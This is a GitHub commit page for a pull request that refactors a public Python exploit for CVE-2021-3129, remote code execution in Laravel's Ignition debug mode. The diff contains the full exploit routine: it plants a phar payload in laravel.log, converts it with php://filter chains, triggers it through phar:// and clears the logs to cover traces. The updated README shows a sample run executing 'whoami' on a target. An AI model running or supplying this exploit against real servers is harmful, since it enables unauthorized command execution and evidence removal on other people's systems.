Skip to content

Commit

Permalink
Merge pull request joshuavanderpoll#5 from VulnP/main
Browse files Browse the repository at this point in the history
Improved code
  • Loading branch information
joshuavanderpoll authored Mar 20, 2023
2 parents 12b1acc + 6f41560 commit b2f0752
Show file tree
Hide file tree
Showing 2 changed files with 97 additions and 102 deletions.
105 changes: 56 additions & 49 deletions CVE-2021-3129.py
Original file line number Diff line number Diff line change
Expand Up @@ -110,53 +110,7 @@ def cmd_execute_cmd(self, cmd):
i = i+1
print(f"{PURPLE}[@] Trying chain {payload['name']} [{i}/{len(payloads)}]...")

print(BLUE + "[@] Clearing logs...") # Step 1. Clear logs to prevent old payloads executing.
self.exploit_clear_logs()

print(BLUE + "[@] Causing error in logs...") # Step 2. Cause a error to write phar file.
if self.exploit_cause_error().status_code != 500:
print(RED + "[!] Failed causing error.")
self.exploit_clear_logs()
else:
print(GREEN + "[√] Caused error in logs.")

print(BLUE + "[@] Sending payloads...")

if self.exploit_request(payload['data'],
500).status_code != 500: # Step 3. Cause error with payload so payload in log file.
print(RED + "[!] Failed sending payload.")
self.exploit_clear_logs()
else:
print(GREEN + "[√] Sent payload.")

print(BLUE + "[@] Converting payload...") # Step 4. Change te log file into the payload in the log file.
if (self.exploit_request(
f"php://filter/read=convert.quoted-printable-decode|"
f"convert.iconv.utf-16le.utf-8|"
f"convert.base64-decode/resource={self.log_path}",
200).status_code != 200):
print(RED + "[!] Failed converting payload.")
self.exploit_clear_logs()
else:
print(GREEN + "[√] Converted payload.")

exploited = self.exploit_request(f"phar://{self.log_path}", 500) # Step 5. Let host execute phar script.
if exploited.status_code == 500 and "cannot be empty" in exploited.text:
print(GREEN + "[√] Result:")
result = exploited.text.split("</html>")[1]
print(END + result)

print(BLUE + "[@] Clearing logs...") # Step 6. Remove logs so phar is not downloadable/executable.
else:
error_search = r"<title>🧨 (.*?)<\/title>"
error_result = re.search(error_search, exploited.text)
if error_result:
print(RED + f"[!] Failed execution of payload.\nError: \"{error_result[1]}\".")
else:
print(RED + "[!] Failed execution of payload.")

self.exploit_clear_logs()
self.exploit_clear_logs()
self.exploit_execute(payload['data'])

if i < len(payloads):
next_chain = input(PURPLE + "[?] Do you want to try the next chain? [Y/N] : ")
Expand All @@ -165,7 +119,6 @@ def cmd_execute_cmd(self, cmd):
else:
break


def cmd_execute_write(self, text):
print(DARKCYAN + f"[@] Writing to log file: \"{text}\"...")
payload = self.generate_write_payload(text, 16)
Expand Down Expand Up @@ -202,6 +155,60 @@ def exploit_clear_logs(self) -> requests.Response: # Clear entire log file
def exploit_cause_error(self) -> requests.Response: # Cause error by sending path parameter
return self.exploit_request("AA", 500)

def exploit_execute(self, payload):
success = True
print(BLUE + "[@] Clearing logs...") # Step 1. Clear logs to prevent old payloads executing.
self.exploit_clear_logs()

print(BLUE + "[@] Causing error in logs...") # Step 2. Cause a error to write phar file.
if self.exploit_cause_error().status_code != 500:
print(RED + "[!] Failed causing error.")
self.exploit_clear_logs()
success = False
else:
print(GREEN + "[√] Caused error in logs.")

print(BLUE + "[@] Sending payloads...")

if self.exploit_request(payload, 500).status_code != 500: # Step 3. Cause error with payload so payload in log file.
print(RED + "[!] Failed sending payload.")
self.exploit_clear_logs()
success = False
else:
print(GREEN + "[√] Sent payload.")

print(BLUE + "[@] Converting payload...") # Step 4. Change te log file into the payload in the log file.
if (self.exploit_request(
f"php://filter/read=convert.quoted-printable-decode|"
f"convert.iconv.utf-16le.utf-8|"
f"convert.base64-decode/resource={self.log_path}",
200).status_code != 200):
print(RED + "[!] Failed converting payload.")
self.exploit_clear_logs()
success = False
else:
print(GREEN + "[√] Converted payload.")

exploited = self.exploit_request(f"phar://{self.log_path}", 500) # Step 5. Let host execute phar script.
if exploited.status_code == 500 and "cannot be empty" in exploited.text:
print(GREEN + "[√] Result:")
result = exploited.text.split("</html>")[1]
print(END + result)
else:
error_search = r"<title>🧨 (.*?)<\/title>"
error_result = re.search(error_search, exploited.text)
if error_result:
print(RED + f"[!] Failed execution of payload.\nError: \"{error_result[1]}\".")
success = False
else:
print(RED + "[!] Failed execution of payload.")
success = False

self.exploit_clear_logs()
self.exploit_clear_logs()

return success

def random_useragent(self) -> str: # Get random user agent from constant list
return random.choice(USER_AGENTS)

Expand Down Expand Up @@ -410,7 +417,7 @@ def find_laravel_version(self, content: str):

def validate_url(url: str) -> bool: # https://stackoverflow.com/a/7160778
regex = re.compile(
r'^(?:http|ftp)s?://' # http:// or https://
r'^(?:http)s?://' # http:// or https://
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain...
r'localhost|' # localhost...
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip
Expand Down
94 changes: 41 additions & 53 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,90 +7,78 @@ This script allows you to write/execute commands on a website running <b>Laravel
It currently has support for <b>searching the log file</b>, <b>executing commands</b>, <b>writing to the log file</b>, and support for <b>clearing log files</b>.

## Setup
```
```bash
$ git clone https://github.com/joshuavanderpoll/CVE-2021-3129.git
$ cd CVE-2021-3129
# pip install -r requirements.txt
# python3 CVE-2021-3129.py --help
$ pip install -r requirements.txt
$ python3 CVE-2021-3129.py --help
```

## Options
```
usage: CVE-2021-3129.py [-h] [--host HOST] [--force] [--log LOG] [--ua]
[--chain CHAIN] [--chains] [--php PHP]
```bash
usage: CVE-2021-3129.py [-h] [--host HOST] [--force] [--log LOG] [--ua] [--chain CHAIN] [--chains] [--php PHP]

Exploit CVE-2021-3129 - Laravel vulnerability exploit script

optional arguments:
options:
-h, --help show this help message and exit
--host HOST Host URL to use exploit on
--force Force exploit without checking if vulnerable
--log LOG Full path to laravel.log file (e.g.
/var/www/html/storage/logs/laravel.log)
--log LOG Full path to laravel.log file (e.g. /var/www/html/storage/logs/laravel.log)
--ua Randomize User-Agent for requests
--chain CHAIN Select PHPGGC chain. Use "--chains" parameter to view all
available chains.
--chain CHAIN Select PHPGGC chain. Use "--chains" parameter to view all available chains.
--chains View available chains for the "--chain" parameter
--php PHP Path to PHP executable
```
## Example
```
$ python3 CVE-2021-3129.py --host http://127.0.0.1/public/
```bash
$ python3 CVE-2021-3129.py --host="http://0.0.0.0/"
Laravel Debug Mode CVE script
[•] Made by: https://jvdpoll.nl
[@] Starting exploit on "http://127.0.0.1/public/"...
[@] Testing vulnerable URL http://127.0.0.1/public/_ignition/execute-solution...
[•] Made by: https://github.com/joshuavanderpoll/CVE-2021-3129
[•] Using PHPGGC: https://github.com/ambionics/phpggc
[@] Starting exploit on "http://0.0.0.0/"...
[@] Testing vulnerable URL http://0.0.0.0/_ignition/execute-solution...
[√] Host seems vulnerable!
[@] Searching Laravel log file path...
[•] Log path found: "/home/laravel/web/storage/logs/laravel.log"
[•] Laravel log found: "/home/laravel/web/storage/logs/laravel.log".
[•] Laravel version found: "7.22.4".
[√] Laravel log file set to "/home/laravel/web/storage/logs/laravel.log".
[•] Laravel seems to be running on a Windows based machine.
[√] Laravel log found: "C:\inetpub\wwwroot\Laravel_RCE_POC\storage\logs\laravel.log".
[•] Laravel version found: "7.30.4".
[•] Use "?" for a list of all possible actions.
[?] Please enter a command to execute: help
[•] Available commands:
exit - Exit program.
help - Shows available commands.
clear_logs - Clears Laravel logs.
execute <command> - Execute system command.
write <command> - Write to log file.
[?] Please enter a command to execute: execute ls /home/laravel/web/
[@] Executing command "ls /home/laravel/web/"...
[@] Generating payload...
[√] Generated payload.
[?] Please enter a command to execute: execute whoami
[@] Executing command "whoami"...
[@] Generating payloads...
[√] Generated 12 payloads.
[@] Trying chain laravel/rce1 [1/12]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.
[!] Failed execution of payload.
Error: "file_get_contents(phar://C:\inetpub\wwwroot\Laravel_RCE_POC\storage\logs\laravel.log): failed to open stream: internal corruption of phar &amp;quot;C:\inetpub\wwwroot\Laravel_RCE_POC\storage\logs\laravel.log&amp;quot; (truncated entry)".
[?] Do you want to try the next chain? [Y/N] : y
...
[@] Trying chain laravel/rce8 [6/12]...
[@] Clearing logs...
[√] Cleared logs.
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payload...
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.
[√] Result:

README.md
app
artisan
bootstrap
composer.json
composer.lock
config
database
package.json
phpunit.xml
public
resources
routes
server.php
storage
tests
vendor
webpack.mix.js
autorite nt\iusr

[@] Clearing logs...
[√] Cleared logs.
[?] Do you want to try the next chain? [Y/N] : n
[?] Please enter a command to execute: clear_logs
[@] Clearing Laravel logs...
[√] Cleared Laravel logs!
```
## Credits
- [PHPGGC](https://github.com/ambionics/phpggc)
- [PHPGGC](https://github.com/ambionics/phpggc)

0 comments on commit b2f0752

Please sign in to comment.